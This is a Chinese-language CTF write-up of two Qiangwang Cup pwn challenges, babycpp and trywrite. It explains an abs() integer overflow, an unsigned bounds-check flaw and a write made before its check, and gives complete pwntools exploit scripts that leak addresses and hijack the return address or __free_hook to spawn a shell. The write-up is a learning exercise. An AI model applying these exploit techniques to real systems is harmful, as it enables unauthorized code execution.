强网杯pwn题目复现
最近因为一些事情,一直没怎么认真研究pwn的东西,最近有时间可以玩一玩pwn了,复盘一下今年的强网杯题目。
个人觉得有些ctf比赛是学不到什么东西的,出于学习目的,还是多看看一些传统强队主办比赛中的题目进步大一些,比如xctf-startctf之类的优质比赛,后面有时间也会接着复盘的。
babycpp
题目逻辑
题目的主要功能由new、show、set、upgrade组成,有部分是通过function_table来实现的,看代码的时候可以看出来。
程序漏洞
这个程序的漏洞点在upgrade里面,利用的是abs函数里面存在的整数溢出问题,具体原理可以看内存中的数据存储,我在里面已经解释的很清楚了。
memset(s, 0, 8uLL);
printf("Input idx:", 0LL);
scanf("%u", &v2);
printf("Input hash:");
v5 = read(0, s, 0x10uLL);
v3 = abs(v2) % 15;
for ( i = 0; i < v5; ++i )
{
if ( v3 + i == 16 )
v3 = 0;
a1->hash[v3 + i] = s[i];
简而言之,当abs()函数的参数是0x80000000的时候,因为正整数的范围少一个,所以他返回的仍然是个负数,导致我们可以修改题目中的function,从而利用int_node和str_node两种不同的功能,实现任意地址读和任意地址写。
利用思路
先看一下我创建的结构体
00000000 message struc ; (sizeof=0x28, mappedto_6)
00000000 function dq ? ; base 2
00000008 hash db 16 dup(?)
00000018 field dq ?
00000020 malloc_chunk dq ?
00000028 message ends
利用思路
通过upgrade修改function_table。
然后泄露heap地址。
heap地址中存在prog信息,再泄露prog。
利用prog+got泄露libc
利用libc_environ泄露stack地址
hijack libc_main_ret。
利用脚本
脚本中有注释
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './babycpp'
ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
#ctx.remote = ('172.16.9.21', 9006)
ctx.debug_remote_libc = True
ctx.symbols = {
'node':0x202060,
}
ctx.breakpoints = [0x1397]#main:0x1397 abs()%15:0xD47
#ctx.debug()
def new(int_flag):
sla('ice',0)
if int_flag:
sla('ice',1)
else:
sla('ice',2)
def set(hash,idx,content,length=0,int_flag=1):
sla('ice',2)
sl_hash(hash)
if int_flag:
sla('idx',idx)
sa('val',content)
else:
sla('idx',idx)
if length:
sla('obj',length)
sa('content',content)
def show(hash,idx):
sla('ice',1)
sl_hash(hash)
sla('idx',idx)
def update(hash1,idx,hash2):
sla('ice',3)
sl_hash(hash1)
sla('idx',idx)
sa('hash',hash2)
def sl_hash(hash):
sa('hash:',hash)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
int_table = '\xe0\x5c'
str_table = '\x00\x5d'
rs()
new(1) #int hash='\x0'
new(0) #str hash='\x1'
hash_int = p64(0)+'\n'
hash_str = p64(1)+'\n'
#leak heap
#dbg()
set(hash_str,0,'\1',8,0)
update(hash_str,0x80000000,int_table) # modify the str_table -> int_table
show(hash_str,0)
ru('is ')
heap_base = int(ru('\n',drop=True),16)-0x11ff0
#leak prog_bss # 0x11ea0
#By using the function_table and reading anywhere to leak libc
heap_table = heap_base + 0x11e70
heap1 = heap_base + 0x11ea0
#dbg()
set(hash_int,0,hex(heap_table)+'\n')
#set(hash_int,1,hex(heap_table)+'\n')
set(hash_str,0,hex(heap1)+'\n')
update(hash_str,0x80000000,str_table)
show(hash_str,0)
ru('Content:')
prog_base = uu64(r(6))-0x201ce0
#lg('prog_base',prog_base)
#leak libc
#By using the got_table and reading anywhere to leak libc
scanf_got = prog_base + 0x201fb0
#dbg()
set(hash_int,0,hex(scanf_got)+'\n')
show(hash_str,0)
ru('Content:')
libc_base = uu64(r(6))-ctx.libc.sym['scanf']
lg('libc_base',libc_base)
#hijack the stack.
environ = libc_base + ctx.libc.sym['environ']
dbg()
set(hash_int,0,hex(environ)+'\n')
show(hash_str,0)
ru('Content:')
stack = uu64(r(6))
lg('stack',stack)
main_ret = stack - 0xf0
system = libc_base + ctx.libc.sym['system']
pop_rdi = prog_base + 0x1693
bin_sh = libc_base + ctx.libc.search('/bin/sh').next()
set(hash_int,1,'0x80\n')
set(hash_int,0,hex(main_ret)+'\n')
payload = p64(pop_rdi) + p64(bin_sh) + p64(system)
payload = payload * 2
set(hash_str,0,payload,0,0)
sla('ice',4)
irt()
trywrite
一、心得
从这道题开始,自己尝试在IDA建立结构体来分析程序逻辑,对于结构体稍微复杂的题目,这个办法可以让程序看起来很简洁明了,感兴趣的小伙伴可以尝试一下。
没创建结构体的题目:
unsigned __int64 add()
{
__int64 v0; // ST08_8
signed int i; // [rsp+4h] [rbp-3Ch]
char s; // [rsp+20h] [rbp-20h]
__int64 v4; // [rsp+28h] [rbp-18h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 11 && *(_QWORD *)(8LL * i + unk_203030); ++i )
;
if ( i == 12 )
{
puts("Sorry~");
}
else
{
memset(&s, 0, 0x10uLL);
puts("Please tell me the key:");
sub_C58(&s, 16LL);
*(_QWORD *)(8LL * i + unk_203030) = sub_1096(144LL, 16LL);
v0 = *(_QWORD *)(8LL * i + unk_203030);
sub_1179(*(_QWORD *)(8LL * i + unk_203030), &s, 8LL);
sub_1179(v0 + 136, &v4, 8LL);
puts("Please tell me the date:");
sub_C58(v0 + 8, 128LL);
puts("Success!");
}
return __readfsqword(0x28u) ^ v5;
创建结构体的题目:
unsigned __int64 add()
{
chunk *v0; // ST08_8
signed int i; // [rsp+4h] [rbp-3Ch]
char key[16]; // [rsp+20h] [rbp-20h]
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 11 && list[i]; ++i )
;
if ( i == 12 )
{
puts("Sorry~");
}
else
{
memset(key, 0, 0x10uLL);
puts("Please tell me the key:");
read_n(key, 16LL);
list[i] = (chunk *)malloc_inner(144);
v0 = list[i];
memcpy_check(list[i], key, 8);
memcpy_check(&v0->key1, &key[8], 8);
puts("Please tell me the date:");
read_n(&v0->data, 128LL);
puts("Success!");
}
return __readfsqword(0x28u) ^ v4;
怎么样,我没骗大家吧,确实方便看了许多,而且设置起来也不麻烦。
推荐两个链接:
https://xz.aliyun.com/t/4205#toc-14
https://bbs.pediy.com/thread-225973.htm
二、程序逻辑
这道题目人为的固定了heap的地址空间,只能从mmap的区域中得到heap,对于得到的heap有地址检查的操作。这样也就限制了fastbin/tcache attack,因为malloc出来的chunk只能是mmap区域中的chunk。
这道题目的结构体如下:
struct chunk
{
char key0[8];
char data[128];
char key1[8];
};
show函数中有一个encode操作,对于输出要转换一下才能得到正确的输出。
unsigned __int64 __fastcall encode(unsigned __int64 data, signed int length, __int64 key)
{
unsigned __int64 result; // rax
_DWORD *v4; // [rsp+8h] [rbp-28h]
unsigned int i; // [rsp+24h] [rbp-Ch]
unsigned int *v6; // [rsp+28h] [rbp-8h]
v4 = (_DWORD *)key;
v6 = (unsigned int *)data;
for ( i = length; ; i -= 8 )
{
result = length + data;
if ( (unsigned __int64)v6 >= result )
break;
result = i;
if ( i <= 7 )
break;
sub_F5E(v6, v6 + 1, v4);
v6 += 2;
}
return result;
}
漏洞点
这道题目的关键点在于change函数。
第一个漏洞点:
v8 = __readfsqword(0x28u);
puts("I separated the key of each message in two places.");
puts("Only you can tell me exactly where the first key is and how far the second key is from it.");
puts("I'll change them for you.");
puts("Give me how far the first key is from your heap:");
offset1 = read_ul();
puts("Give me how far the second key is from the first key:");
offset2 = read_ul();
buf = (chunk *)(heap_addr + offset1);
buf_8 = (void *)(heap_addr + offset1 + 136);
if ( heap_addr + offset1 > heap_addr + mmap_size[0] - offset2 || (unsigned __int64)buf < heap_addr ) //这里面是无符号比较的,我们可以控制heap_addr + mmap_size[0] - offset2 = -1,因此我们可以让heap_addr+offset1指向libc。
{
puts("Sorry~");
}
第二个漏洞点:
memcpy_check(buf, &key, 8);
memcpy_check(buf_8, &v7, 8);
for ( i = 0; i <= 11 && (!list[i] || buf != list[i]); ++i )
他的本意是如果想要进行赋值的操作,那么buf的地址必须要存在于list全局变量中。但是他是先进行的赋值操作,然后才进行的判断,因此我们可以第一步修改的时候改动全局变量,让后一步的判断满足条件。
三、漏洞利用过程
exp来源 Ex师傅的博客:http://blog.eonew.cn/archives/1072
我也想不出其他的办法getshell了,就白嫖了师傅的exp,师傅的博客是个宝藏,建议大家瞅瞅的。
1. leak libc
刚开始的泄露libc没什么的说的,tcache填满,放一个chunk到unsorted bin中,然后一个一个的malloc出来,覆盖一个字节,通过show()功能就可以泄露到libc了。
2. 赋写__free_hook
我们要修改全局变量list,使得我们的heap_offset1在list中存在,进行如下操作:
change(0x68 + 1, 0, p64(heap_addr)[1:] + '\x69' + p64(0))
修改前list如下
pwndbg> x/50xg *$lst
0xabc050: 0x0000000000abc330 0x0000000000abc290
0xabc060: 0x0000000000abc1f0 0x0000000000abc150 # 现在是150
0xabc070: 0x0000000000abc0b0 0x0000000000abc510 #现在是0xabc0b0
change运行后
pwndbg> x/50xg *$lst
0xabc040: 0x0000000000abc470 0x0000000000abc3d0
0xabc050: 0x0000000000abc330 0x0000000000abc290
0xabc060: 0x0000000000abc1f0 0x0000000000abc050 #这里被修改为了0xabc050,这样我们后面就可以修改0xabc050的内容了,依次类推,可以任意地址写。
0xabc070: 0x0000000000abc069 0x0000000000abc510 # 被覆盖了一个字节 0xabc069
后面就是把free_hook的地址写到0xc050地址处,然后再把system写到free_hook里面,最后system("/bin/sh")get shell。
完整exp:
#https://github.com/matrix1001/welpwn
#-*- coding:utf-8 -*-
from PwnContext import *
from ctypes import c_uint32
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './trywrite'
libc = ELF('./libc-2.27.so')
#ctx.custom_lib_dir = '/home/rhl/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' #change the libs
#ctx.remote_libc = './libc.so' #only change the libc.so
#ctx.remote = ('172.16.9.21', 9006)
#ctx.debug_remote_libc = True
ctx.symbols = {
'start':0x203058,
'end':0x203050,
'lst':0x203030,
'top':0x203040,
'heap':0x203048,
'mmap_size':0x203018,
}
ctx.breakpoints = [0x1905]#0x1905
#ctx.debug()
def _decode(v, k, delta):
v0 = c_uint32(v[0])
v1 = c_uint32(v[1])
sum = c_uint32(0xe3779b90)
for i in range(16):
v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum.value) ^ ((v0.value >> 5) + k[3])
v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum.value) ^ ((v1.value >> 5) + k[1])
sum.value -= delta
return struct.pack('II', v0.value, v1.value)
def qqtea_decode(data, key, delta):
k = struct.unpack('IIII', key)
length = int(len(data) / 8)
d = struct.unpack('II' * length, data)
return ''.join([_decode([d[i * 2], d[i * 2 + 1]], k, delta) for i in range(length)])
def add(key,content):
sla('command>> \n', '1')
sa('key:\n', key)
sa('date:\n', content)
def delete(idx):
sla('command>> \n', '3')
sla('index:\n',idx)
def change(offset0,offset1,content):
sla('command>> \n', '4')
sla('heap:\n',offset0)
sla('key:',offset1)
sa('key:',content)
rs()
#dbg()
key = 'k' * 16
heap_addr = 0xabc000
sla('heap:',str(heap_addr))
sla('now?(Y/N)','Y')
sl('goof person')
# leak libc addr
for i in range(8 + 1):
add(key, '\n')
for i in range(8):
delete(i)
for i in range(8):
add(key, '\n')
# pause()
sla('command>> \n', '2')
sla('Please tell me the index:\n', str(7))
#dbg()
raw = r(0x80)
data = qqtea_decode(raw, key, 0x9e3779b9)
print(hexdump(data))
main_arena_addr = u64(data[0:8]) + 0x40
log.success("main_arena_addr: " + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3ebc40
log.success("libc_addr: " + hex(libc_addr))
# modify the field of ptr
change(0x68 + 1, 0, p64(heap_addr)[1:] + '\x69' + p64(0))
# write __free_hook to the ptr field
__free_hook_addr = libc_addr + libc.symbols['__free_hook']
log.success("__free_hook_addr: " + hex(__free_hook_addr))
#dbg()
change(0x50, 0, p64(__free_hook_addr) + p64(0))
# hijack __free_hook
system_addr = libc_addr + libc.symbols['system']
log.success("system_addr: " + hex(system_addr))
key0_offset = __free_hook_addr - heap_addr
key1_offset = heap_addr + 0x20001 # 无符号比较 -1 转换为 0xfffffff...无穷大
change(key0_offset, key1_offset, p64(system_addr) + p64(0))
add('/bin/sh\0'.ljust(16, '\0'), '\n') # index 9
delete(9)
irt()